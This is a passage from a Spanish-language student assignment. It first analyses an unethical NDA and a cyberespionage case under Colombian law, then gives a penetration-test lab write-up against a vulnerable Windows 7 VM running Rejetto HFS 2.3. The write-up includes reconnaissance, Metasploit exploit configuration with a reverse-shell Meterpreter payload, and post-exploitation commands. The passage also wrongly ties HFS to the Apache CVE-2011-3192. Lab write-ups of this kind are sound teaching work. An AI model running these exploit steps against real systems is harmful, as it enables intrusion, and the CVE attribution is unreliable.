sospechosas, como espionaje 0 apropiacion indebida de informacion, lo que podria interpretarse
como un intento de silenciar ante posibles actos ilegales (UNAD, 2025, Anexo 3).
Restricciones en la Divulgacion de Informacién Confidencial

La clausula que prohibe al receptor denunciar o divulgar informacién confidencial e
ilegal fomenta el ocultamiento de actos ilicitos, contradiciendo principios éticos y legales sobre
la responsabilidad social y la obligacion de reportar irregularidades (UNAD, 2025, Anexo 3).
Desvinculacion de Responsabilidad de la Empresa

La clausula que obliga a la parte receptora a recurrir a un abogado privado y exime a
CyberFort Technologies de responsabilidad legal sugiere que la empresa intenta evitar
consecuencias legales por posibles actividades ilicitas vinculadas a ella
(UNAD, 2025, Anexo 3).
Obligacion de Proteger Informacion llegal

Exigir confidencialidad incluso ante actividades ilegales es poco ética, pues protege a la
empresa por encima de la legalidad y la justicia, violando principios éticos esenciales en la
conducta profesional y empresarial (UNAD, 2025, Anexo 3).
Analisis Frente a la Legalidad Vigente en Colombia ley 1273 de 2009

La Ley 1273 de 2009 en Colombia regula la proteccién de la informacion y datos
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informaticos, estableciendo normas sobre la seguridad digital y el tratamiento ético de la
informacion. En el contexto del Anexo 3 — Acuerdo, varios de sus articulos podrian estar siendo
violados, especialmente aquellos que protegen contra el acceso no autorizado, el uso indebido de
datos y la obligacion de denunciar actividades ilicitas relacionadas con la informacion.

Este acuerdo vulnera varios articulos:
Articulo 269A — Acceso Abusivo a un Sistema Informatico

El Articulo 269A de la Ley 1273 de 2009 tipifica como delito el acceso no autorizado a
sistemas informaticos. En relacion con el Acuerdo del Anexo 3, la clausula segunda, item 2,
reconoce datos sensibles que incluyen “datos secretos como chuzadas, interceptacion de
informacion y accesos abusivos a sistemas informaticos”, lo cual evidencia que el acuerdo
contempla informacion protegida bajo esta normativa, resaltando la importancia de cumplir con
las leyes que penalizan el acceso indebido a sistemas (UNAD, 2025, Anexo 3).
Articulo 269B — Obstaculizacion llegitima de Sistema Informatico o Red de
Telecomunicacion

El Articulo 269B de la Ley 1273 de 2009 sanciona a quien, sin autorizacion, obstaculice,
interfiera o interrumpa el funcionamiento o acceso a sistemas informaticos o redes de
telecomunicaciones. En relacion con el Acuerdo del Anexo 3, la prohibicion de denunciar
actividades ilegales durante el proceso de seleccion o acceso a la informacion puede facilitar la
ocultacion de actos que obstaculicen o interfieran con sistemas, vulnerando asi esta disposicion
legal y afectando la transparencia y seguridad informatica (UNAD, 2025, Anexo 3).
Articulo 269C — Interceptacion de Datos Informaticos

El Articulo 269C de la Ley 1273 de 2009 sanciona la interceptacion no autorizada de

transmisiones de datos informaticos. En relacion con el Acuerdo del Anexo 3, se incluye como
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informacion confidencial la "chuzada” y la interceptacidn de datos, prohibiendo su divulgacion,
lo que podria encubrir actividades ilegales de espionaje o interceptacion indebida, contrariando
las normas legales y principios de transparencia (UNAD, 2025, Anexo 3).
Articulo 269F — Violacion de Datos Personales

El Articulo 269F de la Ley 1273 de 2009 sanciona la obtencion, uso o manipulacion no
autorizada de datos personales. En el Acuerdo del Anexo 3, aunque se permite el acceso a datos
personales y sensibles, se prohibe denunciar cualquier uso indebido o ilegal de dicha
informacidn, lo que podria facilitar violaciones a la privacidad y al manejo ético de datos,
contrariando la legislacién vigente y poniendo en riesgo la proteccion de los derechos
individuales (UNAD, 2025, Anexo 3).
Explicacion de por qué este Anexo Vulnera Articulos de la ley 1273

La Primera clausula prohibe revelar informacién confidencial o sobre procesos ilegales,
lo que sugiere un encubrimiento. La clausula Cuarta, item 3, impide denunciar actividades como
el espionaje, y la clausula Octava obliga a usar abogado privado y exime a CyberFort de
responsabilidad penal, evidenciando un intento de impunidad contractual. Estas disposiciones
violan la legalidad y normas éticas fundamentales.
Revision de la Propuesta Laboral

No aceptaria trabajar en CyberFort Technologies, pese al alto salario y contrato vitalicio,
porque el Acuerdo del Anexo 3 va en contra del Codigo de Etica de la COPNIA, promoviendo el
encubrimiento de actividades ilegales y limitando la denuncia, lo cual representa un riesgo ético
y legal inaceptable.
Compromiso con la Legalidad

Segun el Codigo de Etica de la COPNIA, los ingenieros deben actuar conforme a la ley y
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las normas vigentes. Si el acuerdo de confidencialidad indica que la organizacién podria
involucrarse en actividades ilegales o poco confiables, esto violaria el principio de legalidad y
pondria en riesgo mi ética y profesionalismo. Aceptar un contrato bajo esas condiciones
implicaria comprometerme legalmente y afectar negativamente mi integridad profesional
(COPNIA, 2003).
Responsabilidad Profesional

El Codigo de Etica de COPNIA establece que los ingenieros deben reportar cualquier
irregularidad a las autoridades competentes. En un entorno como el de CyberFort Technologies,
donde podrian existir practicas ilegales o poco éticas, un ingeniero enfrentaria un dilema ético
entre la lealtad a la empresa y su deber profesional de actuar conforme a los principios éticos,
priorizando siempre la responsabilidad social y la legalidad (COPNIA, 2003).
Integridad y Confianza

La ética profesional se basa en mantener la confianza publica, y trabajar en una empresa
con procesos poco confiables puede dafiar esa confianza, afectando tanto al ingeniero individual
como a la reputacion de toda la comunidad de ingenieros (COPNIA, 2003).
Bienestar y Seguridad Personal

Incorporarse a una organizacion cuyo cédigo de conducta permite la confidencialidad de
actividades sospechosas representa un riesgo personal significativo para cualquier profesional, ya
que la exposicion a practicas ilegales podria acarrear repercusiones legales que impactarian
negativamente su carrera, estabilidad laboral y situacion financiera futura (COPNIA. 2003).
Analisis de Caso Problema Ciberespionaje y Etica en CyberFort Technologies

El Anexo 7 revela préacticas éticas y legales cuestionables en CyberFort Technologies,

poniendo en riesgo la integridad de la empresa y sus empleados. El problema central es el
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malware ShadowEye detectado en sistemas gubernamentales, que CyberFort elimind, pero sus
empleados abusaron del acceso para robar y vender informacion confidencial de defensa y
politica exterior. Esto constituye un grave acto de ciberespionaje y trafico ilegal de datos, que
amenaza la reputacion, la confianza profesional y puede generar sanciones legales y diplomaticas
severas.

Respuesta a los Interrogantes

¢Hasta qué punto las empresas de ciberseguridad deben tener acceso a informacion sensible
de sus clientes durante una auditoria de seguridad, y como se puede garantizar que este acceso
no sea explotado de manera indebida?

El caso de ciberespionaje en CyberFort Technologies muestra graves violaciones éticas y
legales. La justificacion de los empleados para acceder y robar informacién confidencial
gubernamental es invalida y constituye una falta grave a la ética y privacidad. La venta de esa
informacidn a mercados negros y competidores agrava el delito. Esto subraya que las empresas
de ciberseguridad deben limitar su acceso al minimo necesario, con acuerdos claros de
confidencialidad y enfocarse solo en la evaluacion de seguridad.

Medidas para Evitar Explotacion Indebida:

Para evitar la explotacién indebida de la informacion en las organizaciones, es
fundamental implementar medidas como acuerdos de confidencialidad (NDA) robustos que
definan claramente las obligaciones y sanciones en caso de incumplimiento (Whitman &
Mattord, 2022), implementar el principio de menor privilegio, restringiendo el acceso a los datos
exclusivamente al personal que lo necesite para desempefar sus tareas (Andress, 2021),
establecer mecanismos de supervision y auditorias internas para monitorear el uso de

informacidn sensible y detectar posibles abusos (ISACA, 2022), emplear técnicas de cifrado que
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protejan los datos tanto en reposo como en transito (Stallings, 2023), y definir politicas claras
sobre el uso de la informacion del cliente, prohibiendo su divulgacién o utilizacion no autorizada
(SANS Institute, 2022).

¢ Qué mecanismos de supervision y control deberian implementarse en las empresas de
ciberseguridad para evitar que sus empleados utilicen herramientas avanzadas de analisis
forense con fines no autorizados o éticamente cuestionables?

Con el fin de prevenir el uso inapropiado de las herramientas forenses, las empresas de
ciberseguridad deben implementar controles de acceso, limitando su uso a personal autorizado y
capacitado (Whitman & Mattord, 2022), asi como registrar y auditar todas las actividades,
detallando quién, cuando y con qué proposito las usé. Es fundamental establecer politicas claras
que prohiban su uso para acceder a informacién no autorizada o con fines ilegales o poco éticos.
Ademas, deben ofrecer formacidn continua en ética y cumplimiento normativo y habilitar
canales confidenciales para denunciar conductas indebidas sin represalias (Flechais & Chalhoub,
2023).
¢ Como deberian responder los gobiernos y organizaciones cuando descubren que una
empresa de ciberseguridad contratada ha cometido actos de ciberespionaje? ¢ Cuales serian
las medidas adecuadas para restaurar la confianza y asegurar que no ocurra nuevamente?

La deteccion de ciberespionaje por una firma de ciberseguridad exige una respuesta
firme: primero, investigar a fondo el incidente y la informacion comprometida (Smith, 2021).
Luego, iniciar acciones legales penales y civiles contra la empresa y los responsables, rescindir el
contrato y prohibir su participacién en futuras licitaciones. Es crucial notificar a las partes
afectadas y brindar apoyo para minimizar dafios (Garcia, 2018). Ademas, deben revisarse y

actualizarse politicas de seguridad, reforzar la supervision mediante auditorias a proveedores y
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promover transparencia y ética en el sector para evitar abusos futuros (Peters, 2016).
¢ Cuales serian las medidas adecuadas para restaurar la confianza y asegurar que no ocurra
nuevamente?

Para recuperar la confianza tras un incidente de ciberseguridad, organizaciones y
gobiernos deben actuar con transparencia, reconociendo el hecho, explicando lo ocurrido y
detallando las acciones tomadas. Es clave colaborar con autoridades para investigar, sancionar
responsables y reforzar la seguridad con mejores protocolos y auditorias (Johnson, 2018).
También deben apoyar a los afectados con soluciones y compensaciones y fomentar una cultura
ética de ciberseguridad mediante formacidn continua y aprendizaje de errores. Estas medidas
fortalecen la confianza publica y reparan la reputacion (Martinez, 2017).

Etapa 3- Ejecucion de Pruebas de Intrusion
Realizacion del Ataque con Metodologia PTES
Inteligencia (Reconocimiento)

En esta fase se recolecta informacion sin interaccion directa con los sistemas objetivos o
con minimo impacto. Se identifican las maquinas activas en la red (escaneo Nmap, nbtscan), se
determinan sus IPs, servicios y puertos expuestos (como HTTP en el puerto 80 donde corre
HFS). Esta informacion permite planificar el ataque y delimitar el alcance.

También se realiza resolucidén de nombres NetBIOS para identificar nombres de host y
dominios asociados, lo cual facilita la enumeracion posterior. Se pueden consultar fuentes

abiertas (OSINT) y analizar banners de servicios para obtener versiones de software.



Figura 20. Escaneo de la Red con Nmap.

B m - o aem-| 1 2 3 a =

= kalijair@KALIJAIR: ~
File Actions Edit View Help

kalijair® KALIJAIR -~
ap 192.168.1.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04—-26 16:30 —05
Nmap scan report for 192.168.1.5
Host is up (©.©80s latency).
Nmap scan report for 192.168.1.9
—_—" Host is up (©.©38s latency).
Nmap scan report for 192.168.1.37
Host is up (©.0041s latency).
Nmap scan report for 192.168.1.50
Host is up (©.13s latency).
Nmap scan report for 192.168.1.55
Host is up (©.©26s latency).
L2} Nmap scan report for 192.168.1.56
N Host is wup (©.15s latency).
Home Nmap scan report for 192.168.1.66
Host is wup (©.0093s latency).
Nmap scan report for 192.168.1.79
Host is wup (©.12s latency).
Nmap scan report for 192.168.1.107
Host is wup (©.12s latency).
Nmap scan report for 192.168.1.111
Host is up (©.0095s latency).
Nmap scan report for 192.168.1.114
Host is up (©.0©16s latency).
Nmap scan report for 192.168.1.115
Host is wup (©.0050s latency).
Nmap scan report for 192.168.1.254

Fuente: Elaboracion Propia.

File Syste

En la figura 20 se muestra la ejecucion del comando: nmap -sn 192.168.1.0/24.
Este comando realiza un escaneo de descubrimiento de hosts (ping scan) en toda la subred

192.169.1.0/24.
Figura 21. Instalacién de nbtscan.

(kalijair® KALIJAIR ~

S 387 install nbtscan
[sudo] password for kalijair:
Installing:

Summary :
Upgrading: ©, Installing: 1, Removing: ©, Not Upgrading: 1931
Download size: 21.5 kB
Space needed: 58.4 kB / 3956 MB available

Get:1 http://kali.download/kali kali-rolling/main amd64 nbtscan amdé64 1.7.2-3
[21.5 kB]

Fetched 21.5 kB in 1s (31.6 kB/s)

Selecting previously unselected package nbtscan.

(Reading database ~iale 398854 files and directories currently installed.)

Preparing to unpack .- /Mbtscan_1.7.2—-3_amd64 .deb aTale

Unpacking nbtscan (1.7.2-3) ...

Setting up nbtscan (1.7.2-3) e

Processing triggers for man-db (2.12.1-2) ...

Processing triggers for kali-menu (2024.3.1) ...

Fuente: Elaboracion Propia.

En la figura 21 se muestra la terminal de Kali Linux ejecutando el comando: apt-get
install nbtscan. Esta herramienta sera utilizada para obtener informacion adicional sobre los

hosts Windows en la red a través del protocolo NetBIOS.
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Figura 22. Escaneo con nbtscan.
Eg Ends _

=] kalijair@KALIJAIR: ~ [ >< ]
File Actions Edit View Help
kalijairS KALIJAIR ~

: 3 192.168.1.0/24
Doing NBT name scan for addresses from 192.168.1.0/24

IP address NetBIOS Name Server User MAC address
192.168.1.30 PORT-TELEMEDICTI <server> <unknown> e4:b2:18:be:89:21
192 .168.1.114 PC202006 <server> <unknown> P8:00:27:7d:75:el
192 .168.1.66 LINKSYS©1l054 <server> LINKSYS©01054 P0:00:00:00:00:00
192.168.1.255 Sendto failed: Permission denied

Fuente: Elaboracion Propia
En la figura 22 se muestra la ejecucion del comando: nbtscan 192.168.1.0/24,
este comando escanea la subred 192.168.1.0/24 en busca de informacion NetBIOS.

Figura 23. Escaneo de Puerto sobre la Maquina Victima Identificada.

o @ EN - 1 = 3 =¥ =
[ . A7 ==
- root@KALIJAIR: fhome/kalijair [ >< ]

File Actions Edit View Help

(roots KALIJAIR) [ /home/kalijair]

— 192.168.1.114

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-©4-—26 16:43 —05
Nmap scan report for 192.168.1.114

Host is up (©0.00052s latency).

= B Not shown: 65521 closed tcp ports (reset)

; PORT STATE SERVICE VERSION

Plls Svate se/tcp open http HttpFileServer httpd 2.3
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios—ssn Microsoft Windows netbios—ssn
aas/tcp open microsoft-ds Microsoft Windows 7 — 1@ microsoft-ds (workgroup: WOR
KGROUP )
ssa/tcp open rtsp?
2869/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPNnP)
5357/tcp open http Microsoft HTTPAPI httpd 2.© (SSDP/UPNnP)
1e243/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPNnP)
49152/tcp open msrpc Microsoft Windows RPC
49153 /tcp open msrpc Microsoft Windows RPC
£491S54/tcp open msrpc Microsoft wWindows RPC
49155/tcp open msrpc Microsoft Windows RPC
£#49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC

Fuente: Elaboracién Propia.
En la figura 23 se muestra la ejecucién del comando: nmap -sS -sV -p- 192.168.1.114.

Este comando realiza un escaneo completo de puertos con deteccidn de versiones sobre la IP

192.168.1.114.

Figura 24. Verificar la Version de HFS.

au*ouﬂv;ésﬁr =

= root@KALIJAIR

File Actions Edit View Help
ﬁf root® KALIJAIR)-[ /home/kalijair]
—# 1 http://192.168.1.114:80

HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 3836

Accept—-Ranges: bytes

Server: HFS 2.3

Set-Cookie: HFS_SID=0.0873954053968191; path=/;

Cache-Control: no-cache, no-store, must-revalidate, max-age=-1

Fuente: Elaboracion Propia.
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En la figura 24 se muestra la ejecucion de un comando curl para conectarse al puerto 80
de la maquina victima y obtener el banner HTTP que contiene informacion sobre la version del

servidor.

Figura 25. Verificacion de Servicio Web Encontrado.
Bl KALVAR [Corriendo] - Oracl

rtualBox = =

D= cem-::ilem AL > ¢ 2 a5 a o

@ #HFs/ X+ ~ (%]

< C @ Q

a
3 Kali Linux  # Kali Tools KaliDocs RX Kali Forums X Kali NetHunter & Exploit-DB % Google Hacking DB #¥ OffSec

Buer——
’7 Login |

” ' Folder 7|

Fuente: Elaboracion Propia.

192.168.1.114 bl Y =

No files in this folder

En la figura 25 se muestra un navegador web accediendo a la direccion
http://192.168.1.114/ que muestra la interfaz web de Rejetto HFS.
Modelado de Amenazas

Aqui se reconocen los activos esenciales y los posibles caminos de ataque y amenazas
potenciales. En este caso, se determina que el sistema expuesto es Windows 7 con el servicio
HTTP File Server (HFS) desprotegido (sin firewall) y con una version conocida por ser

vulnerable (2.3).

Figura 26. Firewall de Windows Desactivado.

A
w
X

usuario

@ij’ﬂ « Firewall de Windows » Personalizar configuracion v \ +5 ‘ ‘ Buscar en el Panel de control

Personalizar la configuracion de cada tipo de red
Puede modificar la configuracion del firewall para cada tipo de ubicacion de red que use.
¢Qué son las ubicaciones de red?
Panel de control . i e L .
Configuracion de ubicacion de red doméstica o del trabajo (privada)

\@ %) Activar Firewall de Windows

Bloquear todas las conexiones entrantes, incluidas las de la lista de programas permitidos
‘ Fi Notificarme cuando Firewall de Windows bloquee un nuevo programa
i \g] © Desactivar Firewall de Windows (no recomendado)

Papelera de A

reciclaje Configuracién de ubicacién de red piblica

\@ (@) Activar Firewall de Windows
& Bloquear todas las conexiones entrantes, incluidas las de la lista de programas permitidos
B Notificarme cuando Firewall de Windows bloquee un nuevo programa

\@] @ Desactivar Firewall de Windows (no recomendado)

Fuente: Elaboracion Propia.
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En la figura 26 se muestra el panel de control del Firewall de Windows 7 donde se ve

desactivada la proteccion para todos los perfiles de red (dominio, privado y publico).

Figura 27. Descarga de Software Rejetto en Windows 7.

B vin7-se o
& 1.Ftapal - Conceptos equipo: X ’ E@
& C @ © & hitps://drive.google.com/drive/folders/116UVIGEy01daygXTkISHFhsqTXSgwkQ NURY vVinD e =

A Yanoseadmite esta version del navegador. Actualiza a una version compatible del navegador. { Rejeto 123456.2ip &
Completada — 14,6 MB

Fuente: Elaboracién Propia
En la figura 27 se muestra el navegador Internet Explorer accediendo a la pagina oficial

de Rejetto HFS (http://www.rejetto.com/hfs/).

Figura 28. Ejecucion de Software Rejetto.

C:\Users\usuario\Desktop\Rejjeto_123456.zip\
Archive Editar Ver Favoritos Herramientas Ayuda

Agregar Extraer Probar Copiar Mover Borrar  Informacién

9 | (@ c\Users\usuario\Desktop\Rejjeto_123456.zip\

Nombre Tamafio Tamafio comp... Meodificado Creado s Encriptado Comentario
(BDarkComet 123456 zip 14632847 14632847 2020-11-2810:49 2021-03-0712:58 2021-04-22 18:00 -
760 320 727471 2014-02-16 07:58 2020-11-2810:49 2020-11-28 10:49 +

Fuente: Elaboracion Propia.
En la figura 28 se muestra el asistente de instalacion de Rejetto HFS 2.3. El asistente

muestra la ubicacidon de instalacion predeterminada en C:\Program Files\Rejetto\HFS.

Figura 29. Iniciacion de Software Rejetto.

rofa e

{52 HFS ~ HTTP File Server 23
& Menu ‘ ‘{F Port: 80 ‘ § You are in Easy mode ‘
m Openin browser  http://192.168.1.114/ ) Copyto clipboard

= E

Panel de control “Rejeto 123436

Virtual File System Log

;\ 04:07:41 p.m. 127.0.0.1:49166 Requested GET/
04:07:48 p.m. 127.0.0.1:49166 Requested GET /

Fuente: Elaboracion Propia.
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En la figura 29 se muestra la interfaz principal de HFS 2.3 ya en ejecucidn. La aplicacion
muestra que esta escuchando en la direccion IP 192.168.1.114:80.
Analisis de Vulnerabilidades

En esta fase se usan herramientas automaticas como Nmap (con scripts de vulnerabilidad)
y SearchSploit para confirmar que el servicio expuesto tiene fallas conocidas (CVE-2011-3192).
Se verifica que el HFS 2.3 es vulnerable a ejecucion remota de comandos (RCE). Esto permite

validar la viabilidad de la explotacion.

Figura 30. Ejecucién de Script para ver Vulnerabilidades.

c E
Bellm - ., @ - T = =,
= root@KALIJAIR: fhome/kalijair [>< ]
File Actions Edit View Help
— (rootSS KALIJAIR) [ /home/kalijair]
B f L vuln 192.168.1.114%4

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04—-26 19:33 —05
Nmap scan report for 192.168.1.114
Host is up (©0.00077s latency).
Not shown: 986 closed tcp ports (reset)
PORT STATE SERVICE
s8e/tcp open http
Il http—-vuln-cve2011-3192:
VULNERABLE::
Apache byterange filter DosS
State: VULNERABLE
Tos: BID:49303
The Apache web server is vulnerable to a denial of service attack when num
rous
overlapping byte ranges are requested.
Disclosure date: 2011-08-19
References:
https: //vwww .tenable.com/plugins/nessus /55976
https: //seclists.org/fulldisclosure/2011/Aug/175
https://cve.mitre.org/cgi-bin/cvename.cgiz?name=CVE—-2011-3192
1L https: //vwww .securityfocus.com/bid/49303
http—fileupload-exploiter:

Couldn"t find a file-—-type field.
_http-stored—-xss: Couldn't find any stored XSS wvulnerabilities.
_http—-dombased—-xss: Couldn't find any DOM based XSS.
http-method-tamper:

VULNERABLE:

Authentication bypass by HTTP verb tampering

State: VULNERABLE (Exploitable)
This web server contains password protected resources wvulnerable to authen

R i | ———

Fuente: Elaboracion Propia.

La figura 30 muestra Kali Linux ejecutando el comando nmap --script vuln
192.168.1.114, que usa scripts para detectar vulnerabilidades en el sistema objetivo, en
este caso la IP 192.168.1.104 (méaquina victima Windows 7). El escaneo revela que el puerto 80,
donde corre el servidor Rejetto HFS, es vulnerable a CVE-2011-3192. Se confirma que el puerto
80 esta abierto, ejecuta HTTP y corresponde a Rejetto HTTP File Server versién 2.3 con la

vulnerabilidad detectada.
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Figura 31. Verificacion de Vulnerabilidad.
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CNA: Red Hat, Inc.
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Description

The byterange filter In the Apache HTTP Server 1.3.x, 2.0.x through 2.0.64, and 2.2.x through 2.2.19 allows remote
attackers to cause a denial of service (memory and CPU consumption) via a Range header that expresses multiple
overlapping ranges, as exploited In the wild In August 2011, a different vulnerabliity than CVE-2007-0086.
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Fuente: Elaboracion Propia.

En la figura 31 se muestran resultados més detallados de la basqueda de vulnerabilidades,
confirmando que la versién 2.3 de HFS es vulnerable a ataques de ejecucion remota de codigo.

Figura 32. Consulta de Exploit para Rejetto.

Sm- ,em-| :: :|m

' = root@KALUAIR: fhome/kalijair S

File Actions Edit View Help

=t root® KALIJAIR)-[/home/kalijair]
La loit hfs

E Exploit Title I Path

— Apple Mac OSX 10.4.8 - DMG HFS+ DO_HFS_TRUNCATE Denial of Service osx/dos/29454 . txt
Apple Mac OSX 10.6 - HFS FileSystem (Denial of Service) osx/dos/12375.c

File Syste g =
Y Apple Mac OSX 10.6.x — HFS Subsystem Information Disclosure osx/local/35488.c
Apple Mac O0SX xnu 1228.x - 'hfs-fcntl' Kernel Privilege Escalation osx/local/8266.sh
FHFS - FTP/HTTP File Server 2.1.2 Remote Command Execution windows/remote/37985.py
HFS (HTTP File Server) 2.3.x - Remote Command Execution (3) windows/remote/49584.py
1 Linux Kernel 2.6.x - SquashFS Double-Free Denial of Service 1linux/dos/28895.txt

windows/remote/34926.rb
windows/remote/31056.py
multiple/remote/30850.txt
windows/remote/34668.txt
windows/remote/39161.py
windows/webapps/34852.txt

X Rejetto HTTP File Server (HFS) - Remote Command Execution (Metasploit)
Home Rejetto HTTP File Server (HFS) 1.5/2.x - Multiple Vulnerabilities
Rejetto HTTP File Server (HFS)
Rejetto HTTP File Server (HFS)
Rejetto HTTP File Server (HFS)
Rejetto HTTP File Server (HFS)

.2/2.3 - Arbitrary File Upload
.3.x — Remote Command Execution (1)
.3.x - Remote Command Execution (2)

|
|
|
|
|
|
HFS Http File Server 2.3m Build 300 - Buffer Overflow (PoC) | multiple/remote/48569.py
|
|
|
|
|
|
.3a/2.3b/2.3c - Remote Command Executio |

2
2
2
2

Fuente: Elaboracion Propia.
La figura 32 muestra Kali Linux ejecutando el comando searchsploit rejetto, que utiliza
SearchSploit, una herramienta de linea de comandos para buscar exploits en la base de datos

local de Exploit-DB instalada en Kali Linux.
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Explotacion

Aqui se desarrolla el ataque propiamente dicho. Se configura y lanza el exploit usando
Metasploit Framework. Se establece una conexion tipo reverse shell desde la victima hacia el
atacante, iniciando una sesion Meterpreter. Se confirma asi el compromiso de la maquinay la

ejecucion remota de comandos.

Figura 33. . Ejecucion de la Consola de Metasploit en modo Silencioso.

a.“ogﬂszzzil |

i root@KALIJAIR: fhome/kalijair 0

File Actions Edit View Help

= root® KALIJAIR )-[/home/kalijair]

Fuente: Elaboracioén Propia.

En la figura 33 se muestra la terminal de Kali Linux ejecutando el comando: msfconsole
-q. Este comando inicia el Framework Metasploit en modo silencioso (quiet), eliminando el
banner inicial y otros mensajes para una interfaz mas limpia.

Figura 34. Busqueda de Exploit para Vulnerabilidad de Rejetto.

a!*ogﬂv1234u

= root@KALIJAIR: /home/kalijair 0
File Actions Edit View Help

ICHIM nsf6 > search rejetto

Matching Modules

E # Name Disclosure Date Rank Check Description

File Syste ® exploit/windows/http/HEelEE hfs_rce_cve_2024_23692 2024-05-25 Yes S ve
File Server (HFS) Unauthenticated Remote Code Execution

1 exploit/windows/http/ HEEEE hfs_exec 2014-09-11 Yes BEEEES Http

FileServer Remote Command Execution

Fuente: Elaboracion Propia.
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En la figura 34 se muestra la ejecucion del comando: search rejetto. Este comando busca
en la base de datos de Metasploit modulos relacionados con “rejetto”. Los resultados muestran el
modulo "exploit/windows/http/rejetto_hfs_exec” con una calificacion de “excelente”, lo que

indica una alta probabilidad de éxito.

Figura 35. Seleccion del Exploit.

BSlm- el 1 2 3 4 | m

= root@KALIJAIR: /home/kalijair [<]
File Actions Edit View Help

Trash msf6 > search rejetto

Matching Modules

E #  Name Disclosure Date Rank Check Description
File Syster ® exploit/windows/http/ Bl hfs_rce_cve_2024_23692 2024-05-25 Yes EEEEEs qe
File Server (HFS) Unauthenticated Remote Code Execution

exploit/windows/http/ Bl hfs_exec 2014-09-11 Yes BEEEEEEE Hitp
FileServer Remote Command Execution

{23 Interact with a module by name or index. For example » or

msf6 > use 1
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/rejetto_hfs_exec) >

Fuene: Elaboracion Propia.

En la figura 35 se muestra la ejecucion del comando: use 1. Este comando selecciona el
modulo de exploit especifico para la vulnerabilidad de Rejetto HFS. EI prompt cambia a "msf5
exploit(windows/http/rejetto_hfs_exec) >" indicando que el mddulo ha sido cargado
correctamente y esté listo para ser configurado.

Figura 36. Configuracion del Payload.

Bm- ,@emlm-|1 2 3 4| m

= root@KALIJAIR: fhome/kalijair [ <]

File Actions Edit View Help
Trash msf6 > search rejetto

Matching Modules

E " Name Disclosure Date Rank Check Description
File Syste ® exploit/windows/http/ Bl hfs_rce_cve_2024_ 23692 2024-05-25 Yes EEEEEes 1Te
File Server (HFS) Unauthenticated Remote Code Execution
1 exploit/windows/http/ NS hfs_exec 2014-09-11 Yes e Http
FileServer Remote Command Execution
2 Interact with a module by name or index. For example 5 or
Homeg

msf6 > use 1

[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/rejetto_hfs_exec) > set RHOST 192.168.1.114
RHOST = 192.168.1.114

msf6 exploit(windows/http/rejetto_hfs_exec) > set RPORT 80

RPORT = 80

msf6 exploit(windows/http/rejetto_hfs_exec) > set LHOST 192.168.1.115
LHOST = 192.168.1.115

msf6 exploit(windows/http/rejetto_hfs_exec) > N

Fuente: Elaboracion Propia.
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En la figura 36 se muestran los comandos: set RHOSTS 192.168.1.114, set RPORT 80,
set LHOST 192.168.1.115. Estos comandos configuran:
e RHOSTS (Remote Host): La direccion IP de la maquina victima (192.168.1.114)
e RPORT (Puerto Remoto): El puerto de la maquina victima (80)
e LHOST (Local Host): La direccién IP de la maquina atacante (192.168.1.115)
También se puede ver que se ha definido un payload tipo "windows/meterpreter/reverse_tcp"

que establecera una conexion desde la victima hacia el atacante cuando el exploit tenga éxito.

Figura 37. Lanzamiento del Exploit.

e P AT AWV AT AAw

msf6 exploit(windows/http/rejetto_hfs_exec) > exploit

[*#] Started reverse TCP handler on 192.168.1.115:4444
[*] Using URL: http://192.168.1.115:8080/76V3nIcu
[#] Server started.
[*] Sending a malicious request to /
[*] Payload request received: /76V3nIcu
[*] Sending stage (176198 bytes) to 192.168.1.114
'] Tried to delete ¥TEMP%\nLMBwyBZLzcG.vbs, unknown result
[*] Meterpreter session 1 opened (192.168.1.115:4444 — 192,168.1.114:49228) at 20
25-05-02 10:59:45 -0500
[*] Server stopped.
Fuente: Elaboracion Propia.

La figura 37 muestra la ejecucion del comando exploit, que lanza el exploit configurado
contra la maquina victima. Los resultados indican que el ataque fue exitoso, abriendo una sesion
Meterpreter (#1) en la maquina victima.

Post-explotacién

Aqui se ejecuta el ataque: se configura y lanza el exploit con Metasploit Framework,

estableciendo una conexidn reverse shell desde la victima hacia el atacante e iniciando una

sesion Meterpreter.
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Figura 38. Obtencién de Informacién de la Maguina Victima.

=]
-
TSI o @BE-| 1 2 3 4 | m
' o= root@KALIJAIR: /home/kalijair (]
File Actions Edit View Help
Trash [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

msf6 exploit(windows/http/rejetto_hfs_exec) > set RHOST 192.168.1.114
RHOST = 192.168.1.114
msf6 exploit(windows/http/rejetto_hfs_exec) > set RPORT 80

RPORT = 80
E msf6 exploit(windows/http/rejetto_hfs_exec) > set LHOST 192.168.1.115
g LHOST = 192.168.1.115
msf6 exploit(windows/http/rejetto_hfs_exec) > run

[*] Started reverse TCP handler on 192.168.1.115:4444
[*] Using URL: http://192.168.1.115:8080/SbTcBRop
[*] Server started.
[*] Sending a malicious request to /
123 [*] Payload request received: /SbTcBRop
N [*] Sending stage (176198 bytes) to 192.168.1.114
Home [!] Tried to delete ¥TEMPX\mxjmngEu.vbs, unknown result

[*] Meterpreter session 1 opened (192.168.1.115:4444 — 192.168.1.114:49238) at 2025-04-26 17:19:35 -0500
b [*] Server stopped.

meterpreter > sysinfo

Computer : PC202006

os : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64

System Language : es_CO

Domain : WORKGROUP

Logged On Users : 1

Meterpreter : x86/windows

Fuente: Elaboracion Probia.

En la figura 38 muestra la sesion de Meterpreter ejecutando el comando: sysinfo para
obtener informacidn basica sobre el sistema comprometido, como el nombre del host, el usuario
actual, el sistema operativo y la arquitectura.

Figura 39. Consulta de los Usuarios de la Maquina Victima.

a-*ogﬂv;zzziu

"~ | root@KALIJAIR: fhome/kalijair 0
File Actions Edit View Help

meterpreter > cd c:/Users
meterpreter > pwd
c:\Users

meterpreter > ls
Listing: c:\Users

Mode Size Type Last modified Name

040777 /TwWXTWXTWX @ dir 2009-07-14 00:08:56 -0500 All Users

040555/r-xr-xr-x 8192 dir 2020-06-26 23:04:42 -0500 Default

040777 /TwWXTWXTWX @ dir 2009-07-14 00:08:56 -0500 Default User \

